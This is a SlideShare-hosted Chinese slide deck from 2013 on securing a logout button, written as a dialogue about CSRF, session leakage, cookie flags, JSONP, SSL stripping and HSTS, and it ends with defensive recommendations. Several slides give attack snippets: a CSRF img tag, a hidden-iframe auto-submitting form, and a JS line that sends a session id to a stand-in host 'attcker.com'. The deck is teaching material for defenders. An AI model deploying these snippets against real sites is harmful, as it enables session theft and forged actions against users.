Diese Präsentation wurde erfolgreich gemeldet.
Wir verwenden Ihre LinkedIn Profilangaben und Informationen zu Ihren Aktivitäten, um Anzeigen zu personalisieren und Ihnen relevantere Inhalte anzuzeigen. Sie können Ihre Anzeigeneinstellungen jederzeit ändern.
如何实现登出按钮? 
LI Daobing 
2013-12-06 
Shanghai
简单 
<a href=“/logout”>登出</a>
如果我在天涯的帖⼦子加上如下⼀一段会发⽣生什么? 
<img src=“http://www.qiniu.com/logout” />
加上 session id, 你就没法攻击了吧 
<a id=“logout” href=“/logout?s=abc123”>登出</a>
⼩小⼼心⺴⽹网站上的恶意 JS 
sid = $(“#logout”).attr(“src”); 
$(‘<img src=“http://attcker.com/?' + sid + ‘“ />’).appendTo(“$ 
(“body”)...
为什么放在 Cookie 中的 session id 没有这个问题
因为他设置了 HTTPOnly 
但你的⺴⽹网站可能没有设置
好吧我决定改⽤用 POST 了 
<form action=“/logout” method=“POST”> 
<input type=“submit” value=“登出”> 
</form>
<!— attack1.html —> 
<form action=“http://qiniu.com/logout” method=“POST”> 
</form> 
<script>$(“form”).submit()</script> 
...
为什么要放到 iframe ⾥里边,直接在 
fakepage.html ⾥里边跳转不⾏行么?
那样会让 fakepage.html 跳转到你的登 
录⻚页,⽤用户会察觉到被攻击了 
我们更喜欢悄悄地攻击
我⽤用过 AJAX, 是不是⽤用 AJAX 就可以避免跳转
很遗憾,浏览器会禁⽌止你发 POST 请求到其他⺴⽹网站 
除⾮非你主动打开跨域允许
好吧,你说该如何写?
<form action=“/logout” method=“POST”> 
<input type="hidden" name="csrf_token" value="abc123"> 
<input type=“submit” value=...
这样写很烦,有没有简单的⽅方案?
你可以⽤用 jquery_ujs.js 
<a href="/logout" data-method="post">登出</a>
我看了⼀一下我的框架,好像没有 
CSRF ⽀支持,我该怎么办?
你可以检查 referer, 判定 POST 请求是否来⾃自本站 
但部分浏览器⽀支持不好,⽐比如 Opera 9.x
我想到⼀一个问题,如果我⽤用 JS 把你的 
⺴⽹网站下载过来,取出 csrf_token, 是不 
是就可以继续⽤用刚才 iframe 的攻击⼿手 
法了?
很遗憾,浏览器禁⽌止你⽤用JS访问 
其他⺴⽹网站,并且分析其结果
你弄错了吧,我⽤用过 Google 站内 
搜索 JS,我就是从 Google 拿到数 
据,⾃自⼰己分析,让后呈现的
这个技术叫 JSONP,其实你没有拿到 
google返回的数据,只是 google 返回的数 
据是⼀一份 JS, JS 中包含你⽤用来处理数据的 
函数⽽而已 
等价于你在⺴⽹网⻚页中插⼊入如下⼀一段代码: 
<script src=“ht...
也就是说必须 Google ⽀支持我才 
能⽤用JSONP对吧? 
⾖豆瓣的数据很爽,可惜不⽀支持 
JSONP, 是不是就不能⽤用了
你可以通过服务器中转
懂了,这样好像还更灵 
活,那 JSONP 还有什么 
意义?
1. 那些需要⽤用户登录后才能拿到的资料⽆无 
法通过服务端中转实现 
2. JSONP 不需要服务端编程。
回到登出这个问题,是不是我 
⽤用你的⽅方法就完美了?
还要⼩小⼼心信息泄露,⽐比如有⼈人在链路上窃听
这个我懂,是不是加上 https ,然后 
所有 HTTP 请求重定向就可以了?
回到最开始的攻击⼿手法,这个情况下窃听者 
就可以拿到你的 session id 
<img src=“http://www.qiniu.com/logout” />
Damn It, 有什么解决办法?
看⻅见下图右边的 Secure 没有,他表 
⽰示这个Cookie只能通过https传递
还有什么其他需要注意的?
⼩小⼼心恶意中间⼈人
是不是我弄好证书就可以了?
好的证书是第⼀一步(不要像 12306 学习), 
你还得⼩小⼼心 SSL Stripping Attack 
⽤用户进⼊入 portal.qiniu.com 的时候⼀一般不会 
主动加上 https, 恶意中间⼈人就可以在这个时 
候代理⽤用...
还有什么需要注意的,你⼀一次性说了吧
• 要禁⽤用 SSLv1 
• TLS 1.0 有⼀一个 CBC 漏洞,建议 nginx 
启⽤用 TLS 1.1, 1.2, 并且关闭 RC4 
• 有 https 的域名不要开放邮箱申请 
• session id 要⾜足够⻓长,避免 CR...
完了吗?
你还要⼩小⼼心 XSS, </script>, 宽字符, 
clickjack, frame, content-type, 社会 
⼯工程学攻击
我放弃了,我还是继 
续去做⽕火箭吧 
⾄至少我还不⽤用去考虑 
外星⼈人的攻击 
Falcon, 我来了 
42
⾄至少听我总结⼀一下吧 
1. 需要正确使⽤用 GET/POST 
2. 需要知道如何防范 CSRF 
3. 正确使⽤用 Cookie 的 HttpOnly 和 Secure 选项 
4. 从外界输⼊入的 HTML 需要清洗, 内容输出前需要正...
Q&A?
如何实现登出按钮
Nächste SlideShare
Wird geladen in …5
×

如何实现登出按钮

1.049 Aufrufe

Veröffentlicht am

如何实现登出按钮

Veröffentlicht in: Internet
  • Als Erste(r) kommentieren

如何实现登出按钮

  1. 1. 如何实现登出按钮? LI Daobing 2013-12-06 Shanghai
  2. 2. 简单 <a href=“/logout”>登出</a>
  3. 3. 如果我在天涯的帖⼦子加上如下⼀一段会发⽣生什么? <img src=“http://www.qiniu.com/logout” />
  4. 4. 加上 session id, 你就没法攻击了吧 <a id=“logout” href=“/logout?s=abc123”>登出</a>
  5. 5. ⼩小⼼心⺴⽹网站上的恶意 JS sid = $(“#logout”).attr(“src”); $(‘<img src=“http://attcker.com/?' + sid + ‘“ />’).appendTo(“$ (“body”))
  6. 6. 为什么放在 Cookie 中的 session id 没有这个问题
  7. 7. 因为他设置了 HTTPOnly 但你的⺴⽹网站可能没有设置
  8. 8. 好吧我决定改⽤用 POST 了 <form action=“/logout” method=“POST”> <input type=“submit” value=“登出”> </form>
  9. 9. <!— attack1.html —> <form action=“http://qiniu.com/logout” method=“POST”> </form> <script>$(“form”).submit()</script> <!— fakepage.html —> <iframe src=“attack1.html” style=“width:0;height:0”> </iframe>
  10. 10. 为什么要放到 iframe ⾥里边,直接在 fakepage.html ⾥里边跳转不⾏行么?
  11. 11. 那样会让 fakepage.html 跳转到你的登 录⻚页,⽤用户会察觉到被攻击了 我们更喜欢悄悄地攻击
  12. 12. 我⽤用过 AJAX, 是不是⽤用 AJAX 就可以避免跳转
  13. 13. 很遗憾,浏览器会禁⽌止你发 POST 请求到其他⺴⽹网站 除⾮非你主动打开跨域允许
  14. 14. 好吧,你说该如何写?
  15. 15. <form action=“/logout” method=“POST”> <input type="hidden" name="csrf_token" value="abc123"> <input type=“submit” value=“登出”> </form>
  16. 16. 这样写很烦,有没有简单的⽅方案?
  17. 17. 你可以⽤用 jquery_ujs.js <a href="/logout" data-method="post">登出</a>
  18. 18. 我看了⼀一下我的框架,好像没有 CSRF ⽀支持,我该怎么办?
  19. 19. 你可以检查 referer, 判定 POST 请求是否来⾃自本站 但部分浏览器⽀支持不好,⽐比如 Opera 9.x
  20. 20. 我想到⼀一个问题,如果我⽤用 JS 把你的 ⺴⽹网站下载过来,取出 csrf_token, 是不 是就可以继续⽤用刚才 iframe 的攻击⼿手 法了?
  21. 21. 很遗憾,浏览器禁⽌止你⽤用JS访问 其他⺴⽹网站,并且分析其结果
  22. 22. 你弄错了吧,我⽤用过 Google 站内 搜索 JS,我就是从 Google 拿到数 据,⾃自⼰己分析,让后呈现的
  23. 23. 这个技术叫 JSONP,其实你没有拿到 google返回的数据,只是 google 返回的数 据是⼀一份 JS, JS 中包含你⽤用来处理数据的 函数⽽而已 等价于你在⺴⽹网⻚页中插⼊入如下⼀一段代码: <script src=“http://google.com/? q=foobar&jsonp=callback"></script> ⽽而 Google 返回的数据就是 callback({result:"abc"})
  24. 24. 也就是说必须 Google ⽀支持我才 能⽤用JSONP对吧? ⾖豆瓣的数据很爽,可惜不⽀支持 JSONP, 是不是就不能⽤用了
  25. 25. 你可以通过服务器中转
  26. 26. 懂了,这样好像还更灵 活,那 JSONP 还有什么 意义?
  27. 27. 1. 那些需要⽤用户登录后才能拿到的资料⽆无 法通过服务端中转实现 2. JSONP 不需要服务端编程。
  28. 28. 回到登出这个问题,是不是我 ⽤用你的⽅方法就完美了?
  29. 29. 还要⼩小⼼心信息泄露,⽐比如有⼈人在链路上窃听
  30. 30. 这个我懂,是不是加上 https ,然后 所有 HTTP 请求重定向就可以了?
  31. 31. 回到最开始的攻击⼿手法,这个情况下窃听者 就可以拿到你的 session id <img src=“http://www.qiniu.com/logout” />
  32. 32. Damn It, 有什么解决办法?
  33. 33. 看⻅见下图右边的 Secure 没有,他表 ⽰示这个Cookie只能通过https传递
  34. 34. 还有什么其他需要注意的?
  35. 35. ⼩小⼼心恶意中间⼈人
  36. 36. 是不是我弄好证书就可以了?
  37. 37. 好的证书是第⼀一步(不要像 12306 学习), 你还得⼩小⼼心 SSL Stripping Attack ⽤用户进⼊入 portal.qiniu.com 的时候⼀一般不会 主动加上 https, 恶意中间⼈人就可以在这个时 候代理⽤用户把请求发到服务器, 并且窃听 到所有数据。 可以在HTTP返回头中加⼊入如下的⼀一项: Strict-Transport-Security: max-age=31536000; includeSubDomains
  38. 38. 还有什么需要注意的,你⼀一次性说了吧
  39. 39. • 要禁⽤用 SSLv1 • TLS 1.0 有⼀一个 CBC 漏洞,建议 nginx 启⽤用 TLS 1.1, 1.2, 并且关闭 RC4 • 有 https 的域名不要开放邮箱申请 • session id 要⾜足够⻓长,避免 CRIME 攻 击
  40. 40. 完了吗?
  41. 41. 你还要⼩小⼼心 XSS, </script>, 宽字符, clickjack, frame, content-type, 社会 ⼯工程学攻击
  42. 42. 我放弃了,我还是继 续去做⽕火箭吧 ⾄至少我还不⽤用去考虑 外星⼈人的攻击 Falcon, 我来了 42
  43. 43. ⾄至少听我总结⼀一下吧 1. 需要正确使⽤用 GET/POST 2. 需要知道如何防范 CSRF 3. 正确使⽤用 Cookie 的 HttpOnly 和 Secure 选项 4. 从外界输⼊入的 HTML 需要清洗, 内容输出前需要正确 escape 5. 避免 SQL 注⼊入 6. 采⽤用⼀一些常⻅见的 HTTP 安全头
  44. 44. Q&A?

×